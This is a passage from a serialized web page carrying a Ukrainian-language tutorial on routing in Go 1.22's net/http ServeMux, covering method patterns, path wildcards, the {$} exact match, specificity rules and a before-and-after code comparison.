lass":5559,"line":5952},[5557,12969,12970],{"class":5647},"    \u002F\u002F До Go 1.22 перевірку методу доводилося здійснювати вручну в тілі обробника\n",[5557,12972,12973,12975,12977,12979,12982,12984,12986,12988,12991],{"class":5559,"line":5966},[5557,12974,5689],{"class":5581},[5557,12976,10109],{"class":5654},[5557,12978,5268],{"class":5585},[5557,12980,12981],{"class":5654},"Method",[5557,12983,5695],{"class":5585},[5557,12985,8928],{"class":5654},[5557,12987,5268],{"class":5585},[5557,12989,12990],{"class":5654},"MethodGet",[5557,12992,5701],{"class":5585},[5557,12994,12995,12997,12999,13001,13003,13005,13007,13010,13012,13014,13016,13019],{"class":5559,"line":5971},[5557,12996,9300],{"class":5654},[5557,12998,5268],{"class":5585},[5557,13000,9267],{"class":5637},[5557,13002,5673],{"class":5585},[5557,13004,8909],{"class":5654},[5557,13006,5305],{"class":5585},[5557,13008,13009],{"class":5592},"\"Method Not Allowed\"",[5557,13011,5305],{"class":5585},[5557,13013,8928],{"class":5654},[5557,13015,5268],{"class":5585},[5557,13017,13018],{"class":5654},"StatusMethodNotAllowed",[5557,13020,5623],{"class":5585},[5557,13022,13023],{"class":5559,"line":5977},[5557,13024,6076],{"class":5581},[5557,13026,13027],{"class":5559,"line":5998},[5557,13028,5735],{"class":5585},[5557,13030,13031],{"class":5559,"line":6003},[5557,13032,5575],{"emptyLinePlaceholder":5574},[5557,13034,13035,13037,13039,13041,13043,13045,13047,13050],{"class":5559,"line":6009},[5557,13036,11306],{"class":5654},[5557,13038,11309],{"class":5585},[5557,13040,6681],{"class":5563},[5557,13042,6192],{"class":5585},[5557,13044,6692],{"class":5567},[5557,13046,6689],{"class":5585},[5557,13048,13049],{"class":5567},"any",[5557,13051,6695],{"class":5585},[5557,13053,13054,13056,13059,13061,13063,13065,13068,13070,13072],{"class":5559,"line":6036},[5557,13055,11319],{"class":5585},[5557,13057,13058],{"class":5592},"\"id\"",[5557,13060,6704],{"class":5585},[5557,13062,6213],{"class":6134},[5557,13064,5305],{"class":5585},[5557,13066,13067],{"class":5592},"\"name\"",[5557,13069,6704],{"class":5585},[5557,13071,11336],{"class":5592},[5557,13073,11339],{"class":5585},[5557,13075,13076,13078,13080,13082,13084,13086,13088,13090,13092],{"class":5559,"line":6049},[5557,13077,11319],{"class":5585},[5557,13079,13058],{"class":5592},[5557,13081,6704],{"class":5585},[5557,13083,6135],{"class":6134},[5557,13085,5305],{"class":5585},[5557,13087,13067],{"class":5592},[5557,13089,6704],{"class":5585},[5557,13091,11358],{"class":5592},[5557,13093,11339],{"class":5585},[5557,13095,13096],{"class":5559,"line":6073},[5557,13097,5735],{"class":5585},[5557,13099,13100],{"class":5559,"line":6079},[5557,13101,5575],{"emptyLinePlaceholder":5574},[5557,13103,13104,13106,13108,13110,13112,13114,13116,13118,13120,13122],{"class":5559,"line":6084},[5557,13105,9121],{"class":5654},[5557,13107,5268],{"class":5585},[5557,13109,10972],{"class":5637},[5557,13111,11043],{"class":5585},[5557,13113,11046],{"class":5637},[5557,13115,5673],{"class":5585},[5557,13117,11098],{"class":5592},[5557,13119,5305],{"class":5585},[5557,13121,6555],{"class":5592},[5557,13123,5623],{"class":5585},[5557,13125,13126,13128,13130,13132,13134,13136,13138,13140,13142,13144],{"class":5559,"line":6089},[5557,13127,11109],{"class":5654},[5557,13129,5268],{"class":5585},[5557,13131,11114],{"class":5637},[5557,13133,5673],{"class":5585},[5557,13135,8909],{"class":5654},[5557,13137,7121],{"class":5585},[5557,13139,11123],{"class":5637},[5557,13141,5673],{"class":5585},[5557,13143,11476],{"class":5654},[5557,13145,5623],{"class":5585},[5557,13147,13148],{"class":5559,"line":6095},[5557,13149,5922],{"class":5585},[7167,13151,13153],{"id":13152},"еволюція-маршрутизатора-революція-в-go-122","Еволюція маршрутизатора: революція в Go 1.22",[5348,13155,13156,13157,13159],{},"Протягом понад десятиліття стандартний роутер ",[5236,13158,5250],{}," піддавався критиці за свою примітивність. У попередніх версіях Go він виконував лише найпростіший префіксний пошук рядків і мав три фундаментальні обмеження:",[5477,13161,13162,13191,13217],{},[5201,13163,13164,13167,13168,13171,13172,5305,13174,5305,13177,13180,13181,13184,13185,13187,13188,5268],{},[5205,13165,13166],{},"Відсутність прив'язки до HTTP-методів:"," Шаблон маршруту (наприклад, ",[5236,13169,13170],{},"\u002Fapi\u002Fusers",") перехоплював абсолютно всі запити незалежно від того, чи це був ",[5236,13173,5490],{},[5236,13175,13176],{},"POST",[5236,13178,13179],{},"PUT"," чи ",[5236,13182,13183],{},"DELETE",". Інженеру доводилося вручну перевіряти поле ",[5236,13186,12231],{}," усередині кожного хендлера або конструювати власні громіздкі конструкції ",[5236,13189,13190],{},"switch r.Method",[5201,13192,13193,13200,13201,13204,13205,13208,13209,13212,13213,13216],{},[5205,13194,13195,13196,13199],{},"Відсутність динамічних параметрів шляху (",[5228,13197,13198],{},"wildcards \u002F path parameters","):"," Роутер не мав засобів вилучення динамічних змінних із URL (наприклад, ідентифікатора у шляху ",[5236,13202,13203],{},"\u002Fusers\u002F42","). Для отримання ",[5236,13206,13207],{},"id"," доводилося вручну викликати ",[5236,13210,13211],{},"strings.TrimPrefix",", розбивати рядок через ",[5236,13214,13215],{},"strings.Split"," або використовувати регулярні вирази, що призводило до появи помилок та надлишкового коду.",[5201,13218,13219,13222,13223,13226,13227,13230,13231,13234],{},[5205,13220,13221],{},"«Жадібний» кореневий маршрут:"," Шаблон ",[5236,13224,13225],{},"\u002F"," зіставлявся з будь-яким URL-шляхом, який не потрапив під інші правила, діючи як глобальний уловлювач за замовчуванням (",[5228,13228,13229],{},"catch-all","). Це змушувало розробників писати додаткові перевірки ",[5236,13232,13233],{},"if r.URL.Path != \"\u002F\""," для відокремлення суто головної сторінки від помилок 404 Not Found.",[5348,13236,13237,13238,13240,13241,13244,13245,13248,13249,5268],{},"Через ці обмеження розробники у більшості комерційних проєктів відмовлялися від стандартного ",[5236,13239,5250],{}," на користь сторонніх рішень — маршрутизатора ",[5205,13242,13243],{},"Chi",", бібліотеки ",[5205,13246,13247],{},"Gorilla Mux"," або вебфреймворку ",[5205,13250,13251],{},"Gin",[5348,13253,13254,13255,13258,13259,13261],{},"Проте в лютому 2024 року, з виходом ",[5205,13256,13257],{},"Go 1.22",", стандартна бібліотека зазнала значного оновлення: розробники ядра Go реалізували повноцінне зіставлення методів та динамічних параметрів безпосередньо у стандартному ",[5236,13260,5250],{},", зберігши при цьому 100% зворотну сумісність.",[7759,13263,13265],{"id":13264},"новий-синтаксис-шаблонів-у-go-122","Новий синтаксис шаблонів у Go 1.22+",[5348,13267,13268],{},"Оновлений синтаксис шаблонів дозволяє декларативно описувати HTTP-методи та вилучати параметри з URL:",[13270,13271,13272,13276,13288,13305,13328,13332,13341,13351,13452,13456,13466,13567,13574,13597],"steps",{},[7167,13273,13275],{"id":13274},"крок-1-привязка-до-http-методів-method-routing","Крок 1. Прив'язка до HTTP-методів (Method Routing)",[5348,13277,13278,13279,5305,13282,5305,13285,5268],{},"Шаблон маршруту тепер може починатися з імені HTTP-методу, після якого ставиться символ пробілу: ",[5236,13280,13281],{},"\"GET \u002Fitems\"",[5236,13283,13284],{},"\"POST \u002Fitems\"",[5236,13286,13287],{},"\"DELETE \u002Fitems\u002F{id}\"",[5348,13289,13290,13291,5302,13293,13296,13297,13300,13301,13304],{},"Якщо запит надходить на шлях, для якого зареєстровано хендлери для інших методів, ",[5236,13292,5250],{},[5205,13294,13295],{},"автоматично"," повертає статус-код ",[5236,13298,13299],{},"405 Method Not Allowed"," разом із керуючим заголовком ",[5236,13302,13303],{},"Allow",", де перелічено всі дозволені для цього шляху методи.",[5430,13306,13307,13310,13311,13314,13315,13317,13318,13321,13322,13324,13325,5268],{},[5205,13308,13309],{},"Особливість методу GET:"," За специфікацією HTTP, запити ",[5236,13312,13313],{},"HEAD"," є еквівалентними ",[5236,13316,5490],{},", але повертають лише заголовки без тіла. Відповідно, реєстрація шаблону ",[5236,13319,13320],{},"\"GET \u002Fpath\""," автоматично обслуговує запити ",[5236,13323,13313],{},", якщо для даного шляху не зареєстровано окремий обробник ",[5236,13326,13327],{},"\"HEAD \u002Fpath\"",[7167,13329,13331],{"id":13330},"крок-2-одиночні-динамічні-параметри-шляху-segment-wildcards","Крок 2. Одиночні динамічні параметри шляху (Segment Wildcards)",[5348,13333,13334,13335,13338,13339,7121],{},"Синтаксис ",[5236,13336,13337],{},"{name}"," зіставляється рівно з одним непорожнім сегментом URL-шляху між слешами (сегмент не може містити додаткових символів ",[5236,13340,13225],{},[5348,13342,13343,13344,13347,13348,7256],{},"Для вилучення значення параметра з контексту запиту в ",[5236,13345,13346],{},"*http.Request"," додано метод ",[5236,13349,13350],{},"r.PathValue(name)",[5464,13352,13354],{"className":5550,"code":13353,"language":5553,"meta":5472,"style":5472},"mux.HandleFunc(\"GET \u002Fusers\u002F{id}\", func(w http.ResponseWriter, r *http.Request) {\n    id := r.PathValue(\"id\") \u002F\u002F повертає string, наприклад \"42\"\n    fmt.Fprintf(w, \"Користувач ID: %s\", id)\n})\n",[5236,13355,13356,13397,13420,13447],{"__ignoreMap":5472},[5557,13357,13358,13360,13362,13364,13366,13369,13371,13373,13375,13377,13379,13381,13383,13385,13387,13389,13391,13393,13395],{"class":5559,"line":5560},[5557,13359,12726],{"class":5654},[5557,13361,5268],{"class":5585},[5557,13363,12316],{"class":5637},[5557,13365,5673],{"class":5585},[5557,13367,13368],{"class":5592},"\"GET \u002Fusers\u002F{id}\"",[5557,13370,5305],{"class":5585},[5557,13372,5634],{"class":5563},[5557,13374,5673],{"class":5585},[5557,13376,8909],{"class":5654},[5557,13378,8912],{"class":5567},[5557,13380,5268],{"class":5585},[5557,13382,8917],{"class":5567},[5557,13384,5305],{"class":5585},[5557,13386,8922],{"class":5654},[5557,13388,8925],{"class":5585},[5557,13390,8928],{"class":5567},[5557,13392,5268],{"class":5585},[5557,13394,8933],{"class":5567},[5557,13396,5949],{"class":5585},[5557,13398,13399,13402,13404,13406,13408,13411,13413,13415,13417],{"class":5559,"line":5571},[5557,13400,13401],{"class":5654},"    id",[5557,13403,5663],{"class":5585},[5557,13405,8922],{"class":5654},[5557,13407,5268],{"class":5585},[5557,13409,13410],{"class":5637},"PathValue",[5557,13412,5673],{"class":5585},[5557,13414,13058],{"class":5592},[5557,13416,10276],{"class":5585},[5557,13418,13419],{"class":5647},"\u002F\u002F повертає string, наприклад \"42\"\n",[5557,13421,13422,13424,13426,13428,13430,13432,13434,13437,13439,13441,13443,13445],{"class":5559,"line":5578},[5557,13423,5763],{"class":5654},[5557,13425,5268],{"class":5585},[5557,13427,9146],{"class":5637},[5557,13429,5673],{"class":5585},[5557,13431,8909],{"class":5654},[5557,13433,5305],{"class":5585},[5557,13435,13436],{"class":5592},"\"Користувач ID: ",[5557,13438,6238],{"class":5654},[5557,13440,5723],{"class":5592},[5557,13442,5305],{"class":5585},[5557,13444,13207],{"class":5654},[5557,13446,5623],{"class":5585},[5557,13448,13449],{"class":5559,"line":5589},[5557,13450,13451],{"class":5585},"})\n",[7167,13453,13455],{"id":13454},"крок-3-залишкові-динамічні-параметри-remainder-wildcards","Крок 3. Залишкові динамічні параметри (Remainder Wildcards)",[5348,13457,13458,13459,13462,13463,13465],{},"Якщо ім'я параметра закінчується трьома крапками ",[5236,13460,13461],{},"{name...}",", він стає залишковим (",[5228,13464,13229],{},") і зіставляється з усією рештою URL-шляху, включаючи внутрішні слеші. Це незамінно для обслуговування файлових сховищ або багаторівневих ієрархій:",[5464,13467,13469],{"className":5550,"code":13468,"language":5553,"meta":5472,"style":5472},"mux.HandleFunc(\"GET \u002Fstatic\u002F{filepath...}\", func(w http.ResponseWriter, r *http.Request) {\n    filePath := r.PathValue(\"filepath\") \u002F\u002F наприклад \"css\u002Ftheme\u002Fdark.css\"\n    fmt.Fprintf(w, \"Шлях до файлу: %s\", filePath)\n})\n",[5236,13470,13471,13512,13535,13563],{"__ignoreMap":5472},[5557,13472,13473,13475,13477,13479,13481,13484,13486,13488,13490,13492,13494,13496,13498,13500,13502,13504,13506,13508,13510],{"class":5559,"line":5560},[5557,13474,12726],{"class":5654},[5557,13476,5268],{"class":5585},[5557,13478,12316],{"class":5637},[5557,13480,5673],{"class":5585},[5557,13482,13483],{"class":5592},"\"GET \u002Fstatic\u002F{filepath...}\"",[5557,13485,5305],{"class":5585},[5557,13487,5634],{"class":5563},[5557,13489,5673],{"class":5585},[5557,13491,8909],{"class":5654},[5557,13493,8912],{"class":5567},[5557,13495,5268],{"class":5585},[5557,13497,8917],{"class":5567},[5557,13499,5305],{"class":5585},[5557,13501,8922],{"class":5654},[5557,13503,8925],{"class":5585},[5557,13505,8928],{"class":5567},[5557,13507,5268],{"class":5585},[5557,13509,8933],{"class":5567},[5557,13511,5949],{"class":5585},[5557,13513,13514,13517,13519,13521,13523,13525,13527,13530,13532],{"class":5559,"line":5571},[5557,13515,13516],{"class":5654},"    filePath",[5557,13518,5663],{"class":5585},[5557,13520,8922],{"class":5654},[5557,13522,5268],{"class":5585},[5557,13524,13410],{"class":5637},[5557,13526,5673],{"class":5585},[5557,13528,13529],{"class":5592},"\"filepath\"",[5557,13531,10276],{"class":5585},[5557,13533,13534],{"class":5647},"\u002F\u002F наприклад \"css\u002Ftheme\u002Fdark.css\"\n",[5557,13536,13537,13539,13541,13543,13545,13547,13549,13552,13554,13556,13558,13561],{"class":5559,"line":5578},[5557,13538,5763],{"class":5654},[5557,13540,5268],{"class":5585},[5557,13542,9146],{"class":5637},[5557,13544,5673],{"class":5585},[5557,13546,8909],{"class":5654},[5557,13548,5305],{"class":5585},[5557,13550,13551],{"class":5592},"\"Шлях до файлу: ",[5557,13553,6238],{"class":5654},[5557,13555,5723],{"class":5592},[5557,13557,5305],{"class":5585},[5557,13559,13560],{"class":5654},"filePath",[5557,13562,5623],{"class":5585},[5557,13564,13565],{"class":5559,"line":5589},[5557,13566,13451],{"class":5585},[7167,13568,13570,13571,8642],{"id":13569},"крок-4-точний-збіг-кореня-та-кінцевих-слешів-exact-match","Крок 4. Точний збіг кореня та кінцевих слешів (Exact Match ",[5236,13572,13573],{},"\u002F{$}",[5348,13575,13576,13577,13579,13580,13583,13584,13587,13588,13590,13591,13180,13594,7256],{},"Спеціальний суфікс ",[5236,13578,13573],{}," позначає суворий точний збіг шляху, що завершується слешем. Шаблон ",[5236,13581,13582],{},"\"GET \u002F{$}\""," зіставляється ",[5205,13585,13586],{},"виключно"," з коренем вебсайту ",[5236,13589,13225],{}," і більше не перехоплює довільні шляхи на кшталт ",[5236,13592,13593],{},"\u002Fabout",[5236,13595,13596],{},"\u002Fapi\u002Fv1",[5464,13598,13600],{"className":5550,"code":13599,"language":5553,"meta":5472,"style":5472},"mux.HandleFunc(\"GET \u002F{$}\", homeHandler) \u002F\u002F спрацює лише для запиту \"\u002F\"\n",[5236,13601,13602],{"__ignoreMap":5472},[5557,13603,13604,13606,13608,13610,13612,13614,13616,13618,13620],{"class":5559,"line":5560},[5557,13605,12726],{"class":5654},[5557,13607,5268],{"class":5585},[5557,13609,12316],{"class":5637},[5557,13611,5673],{"class":5585},[5557,13613,13582],{"class":5592},[5557,13615,5305],{"class":5585},[5557,13617,12649],{"class":5654},[5557,13619,10276],{"class":5585},[5557,13621,13622],{"class":5647},"\u002F\u002F спрацює лише для запиту \"\u002F\"\n",[7759,13624,13626],{"id":13625},"правила-специфічності-та-вирішення-колізій","Правила специфічності та вирішення колізій",[5348,13628,13629,13630,13633,13634,5268],{},"У реальних застосунках маршрути можуть частково перетинатися. Наприклад, ви можете зареєструвати маршрут для профілю поточного користувача ",[5236,13631,13632],{},"\u002Fusers\u002Fme"," та загальний маршрут для користувача за ідентифікатором ",[5236,13635,13636],{},"\u002Fusers\u002F{id}",[5348,13638,13639,13640,13642,13643,5226,13646,13199],{},"Стандартний ",[5236,13641,5250],{}," у Go 1.22+ використовує детерміноване правило ",[5205,13644,13645],{},"найвищої специфічності",[5228,13647,13648],{},"most specific pattern wins",[5477,13650,13651,13669,13680,13692],{},[5201,13652,13653,13222,13656,13658,13659,13661,13662,13664,13665,13668],{},[5205,13654,13655],{},"Літеральні сегменти перемагають вайлдкарди:",[5236,13657,13632],{}," є більш специфічним, ніж ",[5236,13660,13636],{},". Якщо клієнт запитує ",[5236,13663,13632],{},", буде викликано саме обробник для ",[5236,13666,13667],{},"me",", а не параметризований обробник.",[5201,13670,13671,13222,13674,13658,13677,5268],{},[5205,13672,13673],{},"Одиночні вайлдкарди перемагають залишкові:",[5236,13675,13676],{},"\u002Ffiles\u002F{name}",[5236,13678,13679],{},"\u002Ffiles\u002F{path...}",[5201,13681,13682,13222,13685,13687,13688,13691],{},[5205,13683,13684],{},"Явні методи перемагають безметодні шаблони:",[5236,13686,13281],{}," має вищий пріоритет над шаблоном ",[5236,13689,13690],{},"\"\u002Fitems\""," для GET-запитів.",[5201,13693,13694,13697,13698,5222,13701,13704,13705,5226,13708,13711,13712,13180,13715,13718],{},[5205,13695,13696],{},"Виявлення неоднозначних колізій на старті:"," Якщо два маршрути перетинаються і жоден із них не є суворо більш специфічним (наприклад, ",[5236,13699,13700],{},"\u002Fusers\u002F{id}\u002Fprofile",[5236,13702,13703],{},"\u002F{entity}\u002Fme\u002Fprofile","), Go ",[5205,13706,13707],{},"викидає паніку",[5236,13709,13710],{},"panic",") під час виклику ",[5236,13713,13714],{},"mux.Handle",[5236,13716,13717],{},"mux.HandleFunc"," ще на етапі запуску програми. Це унеможливлює недетерміновані помилки маршрутизації в продакшені.",[7759,13720,13722],{"id":13721},"порівняння-підхід-до-go-122-проти-сучасного-синтаксису","Порівняння: підхід до Go 1.22 проти сучасного синтаксису",[5348,13724,13725],{},"Погляньте, наскільки лаконічнішим та безпечнішим став код стандартного роутера:",[5546,13727,13728,14144],{},[5464,13729,13732],{"className":5550,"code":13730,"filename":13731,"language":5553,"meta":5472,"style":5472},"mux := http.NewServeMux()\n\n\u002F\u002F Один маршрут перехоплював усі методи та супутні шляхи\nmux.HandleFunc(\"\u002Fapi\u002Fusers\u002F\", func(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F 1. Ручна перевірка методу\n    switch r.Method {\n    case http.MethodGet:\n        \u002F\u002F 2. Ручний парсинг ідентифікатора з URL\n        idStr := strings.TrimPrefix(r.URL.Path, \"\u002Fapi\u002Fusers\u002F\")\n        if idStr == \"\" {\n            http.Error(w, \"ID обов'язковий\", http.StatusBadRequest)\n            return\n        }\n        id, err := strconv.Atoi(idStr)\n        if err != nil {\n            http.Error(w, \"Некоректний ID\", http.StatusBadRequest)\n            return\n        }\n        getUser(w, r, id)\n\n    case http.MethodDelete:\n        idStr := strings.TrimPrefix(r.URL.Path, \"\u002Fapi\u002Fusers\u002F\")\n        deleteUser(w, r, idStr)\n\n    default:\n        \u002F\u002F 3. Ручне формування статусу 405\n        w.Header().Set(\"Allow\", \"GET, DELETE\")\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n    }\n})\n","До Go 1.22 (Ручний розбір)",[5236,13733,13734,13748,13752,13757,13798,13803,13815,13827,13832,13864,13877,13905,13909,13913,13939,13951,13978,13982,13986,14005,14009,14022,14052,14071,14075,14081,14086,14110,14136,14140],{"__ignoreMap":5472},[5557,13735,13736,13738,13740,13742,13744,13746],{"class":5559,"line":5560},[5557,13737,12726],{"class":5654},[5557,13739,5663],{"class":5585},[5557,13741,8928],{"class":5654},[5557,13743,5268],{"class":5585},[5557,13745,12621],{"class":5637},[5557,13747,5752],{"class":5585},[5557,13749,13750],{"class":5559,"line":5571},[5557,13751,5575],{"emptyLinePlaceholder":5574},[5557,13753,13754],{"class":5559,"line":5578},[5557,13755,13756],{"class":5647},"\u002F\u002F Один маршрут перехоплював усі методи та супутні шляхи\n",[5557,13758,13759,13761,13763,13765,13767,13770,13772,13774,13776,13778,13780,13782,13784,13786,13788,13790,13792,13794,13796],{"class":5559,"line":5589},[5557,13760,12726],{"class":5654},[5557,13762,5268],{"class":5585},[5557,13764,12316],{"class":5637},[5557,13766,5673],{"class":5585},[5557,13768,13769],{"class":5592},"\"\u002Fapi\u002Fusers\u002F\"",[5557,13771,5305],{"class":5585},[5557,13773,5634],{"class":5563},[5557,13775,5673],{"class":5585},[5557,13777,8909],{"class":5654},[5557,13779,8912],{"class":5567},[5557,13781,5268],{"class":5585},[5557,13783,8917],{"class":5567},[5557,13785,5305],{"class":5585},[5557,13787,8922],{"class":5654},[5557,13789,8925],{"class":5585},[5557,13791,8928],{"class":5567},[5557,13793,5268],{"class":5585},[5557,13795,8933],{"class":5567},[5557,13797,5949],{"class":5585},[5557,13799,13800],{"class":5559,"line":5596},[5557,13801,13802],{"class":5647},"    \u002F\u002F 1. Ручна перевірка методу\n",[5557,13804,13805,13807,13809,13811,13813],{"class":5559,"line":5602},[5557,13806,6409],{"class":5581},[5557,13808,10109],{"class":5654},[5557,13810,5268],{"class":5585},[5557,13812,12981],{"class":5654},[5557,13814,5701],{"class":5585},[5557,13816,13817,13819,13821,13823,13825],{"class":5559,"line":5608},[5557,13818,6420],{"class":5581},[5557,13820,8912],{"class":5654},[5557,13822,5268],{"class":5585},[5557,13824,12990],{"class":5654},[5557,13826,6426],{"class":5585},[5557,13828,13829],{"class":5559,"line":5614},[5557,13830,13831],{"class":5647},"        \u002F\u002F 2. Ручний парсинг ідентифікатора з URL\n",[5557,13833,13834,13837,13839,13841,13843,13846,13848,13850,13852,13854,13856,13858,13860,13862],{"class":5559,"line":5620},[5557,13835,13836],{"class":5654},"        idStr",[5557,13838,5663],{"class":5585},[5557,13840,6103],{"class":5654},[5557,13842,5268],{"class":5585},[5557,13844,13845],{"class":5637},"TrimPrefix",[5557,13847,5673],{"class":5585},[5557,13849,8922],{"class":5654},[5557,13851,5268],{"class":5585},[5557,13853,10097],{"class":5654},[5557,13855,5268],{"class":5585},[5557,13857,8629],{"class":5654},[5557,13859,5305],{"class":5585},[5557,13861,13769],{"class":5592},[5557,13863,5623],{"class":5585},[5557,13865,13866,13868,13871,13873,13875],{"class":5559,"line":5626},[5557,13867,5838],{"class":5581},[5557,13869,13870],{"class":5654}," idStr",[5557,13872,6353],{"class":5585},[5557,13874,9520],{"class":5592},[5557,13876,5701],{"class":5585},[5557,13878,13879,13881,13883,13885,13887,13889,13891,13894,13896,13898,13900,13903],{"class":5559,"line":5631},[5557,13880,9262],{"class":5654},[5557,13882,5268],{"class":5585},[5557,13884,9267],{"class":5637},[5557,13886,5673],{"class":5585},[5557,13888,8909],{"class":5654},[5557,13890,5305],{"class":5585},[5557,13892,13893],{"class":5592},"\"ID обов'язковий\"",[5557,13895,5305],{"class":5585},[5557,13897,8928],{"class":5654},[5557,13899,5268],{"class":5585},[5557,13901,13902],{"class":5654},"StatusBadRequest",[5557,13904,5623],{"class":5585},[5557,13906,13907],{"class":5559,"line":5644},[5557,13908,6331],{"class":5581},[5557,13910,13911],{"class":5559,"line":5651},[5557,13912,5884],{"class":5585},[5557,13914,13915,13918,13920,13922,13924,13927,13929,13932,13934,13937],{"class":5559,"line":5686},[5557,13916,13917],{"class":5654},"        id",[5557,13919,5305],{"class":5585},[5557,13921,5660],{"class":5654},[5557,13923,5663],{"class":5585},[5557,13925,13926],{"class":5654},"strconv",[5557,13928,5268],{"class":5585},[5557,13930,13931],{"class":5637},"Atoi",[5557,13933,5673],{"class":5585},[5557,13935,13936],{"class":5654},"idStr",[5557,13938,5623],{"class":5585},[5557,13940,13941,13943,13945,13947,13949],{"class":5559,"line":5704},[5557,13942,5838],{"class":5581},[5557,13944,5692],{"class":5654},[5557,13946,5695],{"class":5585},[5557,13948,5698],{"class":5563},[5557,13950,5701],{"class":5585},[5557,13952,13953,13955,13957,13959,13961,13963,13965,13968,13970,13972,13974,13976],{"class":5559,"line":5732},[5557,13954,9262],{"class":5654},[5557,13956,5268],{"class":5585},[5557,13958,9267],{"class":5637},[5557,13960,5673],{"class":5585},[5557,13962,8909],{"class":5654},[5557,13964,5305],{"class":5585},[5557,13966,13967],{"class":5592},"\"Некоректний ID\"",[5557,13969,5305],{"class":5585},[5557,13971,8928],{"class":5654},[5557,13973,5268],{"class":5585},[5557,13975,13902],{"class":5654},[5557,13977,5623],{"class":5585},[5557,13979,13980],{"class":5559,"line":5738},[5557,13981,6331],{"class":5581},[5557,13983,13984],{"class":5559,"line":5755},[5557,13985,5884],{"class":5585},[5557,13987,13988,13991,13993,13995,13997,13999,14001,14003],{"class":5559,"line":5760},[5557,13989,13990],{"class":5637},"        getUser",[5557,13992,5673],{"class":5585},[5557,13994,8909],{"class":5654},[5557,13996,5305],{"class":5585},[5557,13998,8922],{"class":5654},[5557,14000,5305],{"class":5585},[5557,14002,13207],{"class":5654},[5557,14004,5623],{"class":5585},[5557,14006,14007],{"class":5559,"line":5778},[5557,14008,5575],{"emptyLinePlaceholder":5574},[5557,14010,14011,14013,14015,14017,14020],{"class":5559,"line":5794},[5557,14012,6420],{"class":5581},[5557,14014,8912],{"class":5654},[5557,14016,5268],{"class":5585},[5557,14018,14019],{"class":5654},"MethodDelete",[5557,14021,6426],{"class":5585},[5557,14023,14024,14026,14028,14030,14032,14034,14036,14038,14040,14042,14044,14046,14048,14050],{"class":5559,"line":5799},[5557,14025,13836],{"class":5654},[5557,14027,5663],{"class":5585},[5557,14029,6103],{"class":5654},[5557,14031,5268],{"class":5585},[5557,14033,13845],{"class":5637},[5557,14035,5673],{"class":5585},[5557,14037,8922],{"class":5654},[5557,14039,5268],{"class":5585},[5557,14041,10097],{"class":5654},[5557,14043,5268],{"class":5585},[5557,14045,8629],{"class":5654},[5557,14047,5305],{"class":5585},[5557,14049,13769],{"class":5592},[5557,14051,5623],{"class":5585},[5557,14053,14054,14057,14059,14061,14063,14065,14067,14069],{"class":5559,"line":5807},[5557,14055,14056],{"class":5637},"        deleteUser",[5557,14058,5673],{"class":5585},[5557,14060,8909],{"class":5654},[5557,14062,5305],{"class":5585},[5557,14064,8922],{"class":5654},[5557,14066,5305],{"class":5585},[5557,14068,13936],{"class":5654},[5557,14070,5623],{"class":5585},[5557,14072,14073],{"class":5559,"line":5813},[5557,14074,5575],{"emptyLinePlaceholder":5574},[5557,14076,14077,14079],{"class":5559,"line":5835},[5557,14078,6573],{"class":5581},[5557,14080,6426],{"class":5585},[5557,14082,14083],{"class":5559,"line":5849},[5557,14084,14085],{"class":5647},"        \u002F\u002F 3. Ручне формування статусу 405\n",[5557,14087,14088,14090,14092,14094,14096,14098,14100,14103,14105,14108],{"class":5559,"line":5875},[5557,14089,11000],{"class":5654},[5557,14091,5268],{"class":5585},[5557,14093,10972],{"class":5637},[5557,14095,11043],{"class":5585},[5557,14097,11046],{"class":5637},[5557,14099,5673],{"class":5585},[5557,14101,14102],{"class":5592},"\"Allow\"",[5557,14104,5305],{"class":5585},[5557,14106,14107],{"class":5592},"\"GET, DELETE\"",[5557,14109,5623],{"class":5585},[5557,14111,14112,14114,14116,14118,14120,14122,14124,14126,14128,14130,14132,14134],{"class":5559,"line":5881},[5557,14113,9300],{"class":5654},[5557,14115,5268],{"class":5585},[5557,14117,9267],{"class":5637},[5557,14119,5673],{"class":5585},[5557,14121,8909],{"class":5654},[5557,14123,5305],{"class":5585},[5557,14125,13009],{"class":5592},[5557,14127,5305],{"class":5585},[5557,14129,8928],{"class":5654},[5557,14131,5268],{"class":5585},[5557,14133,13018],{"class":5654},[5557,14135,5623],{"class":5585},[5557,14137,14138],{"class":5559,"line":5887},[5557,14139,5735],{"class":5585},[5557,14141,14142],{"class":5559,"line":5892},[5557,14143,13451],{"class":5585},[5464,14145,14148],{"className":5550,"code":14146,"filename":14147,"language":5553,"meta":5472,"style":5472},"mux := http.NewServeMux()\n\n\u002F\u002F Декларативне розділення за методом та динамічним параметром\nmux.HandleFunc(\"GET \u002Fapi\u002Fusers\u002F{id}\", func(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F 1. Метод r.PathValue вилучає значення одразу\n    idStr := r.PathValue(\"id\")\n    id, err := strconv.Atoi(idStr)\n    if err != nil {\n        http.Error(w, \"Некоректний ID\", http.StatusBadRequest)\n        return\n    }\n    getUser(w, r, id)\n})\n\nmux.HandleFunc(\"DELETE \u002Fapi\u002Fusers\u002F{id}\", func(w http.ResponseWriter, r *http.Request) {\n    idStr := r.PathValue(\"id\")\n    deleteUser(w, r, idStr)\n})\n\n\u002F\u002F При запиті POST або PUT Go автоматично надішле 405 зі списком Allow!\n","Go 1.22+ (Сучасний ServeMux)",[5236,14149,14150,14164,14168,14173,14214,14219,14238,14260,14272,14298,14302,14306,14325,14329,14333,14374,14392,14411,14415,14419],{"__ignoreMap":5472},[5557,14151,14152,14154,14156,14158,14160,14162],{"class":5559,"line":5560},[5557,14153,12726],{"class":5654},[5557,14155,5663],{"class":5585},[5557,14157,8928],{"class":5654},[5557,14159,5268],{"class":5585},[5557,14161,12621],{"class":5637},[5557,14163,5752],{"class":5585},[5557,14165,14166],{"class":5559,"line":5571},[5557,14167,5575],{"emptyLinePlaceholder":5574},[5557,14169,14170],{"class":5559,"line":5578},[5557,14171,14172],{"class":5647},"\u002F\u002F Декларативне розділення за методом та динамічним параметром\n",[5557,14174,14175,14177,14179,14181,14183,14186,14188,14190,14192,14194,14196,14198,14200,14202,14204,14206,14208,14210,14212],{"class":5559,"line":5589},[5557,14176,12726],{"class":5654},[5557,14178,5268],{"class":5585},[5557,14180,12316],{"class":5637},[5557,14182,5673],{"class":5585},[5557,14184,14185],{"class":5592},"\"GET 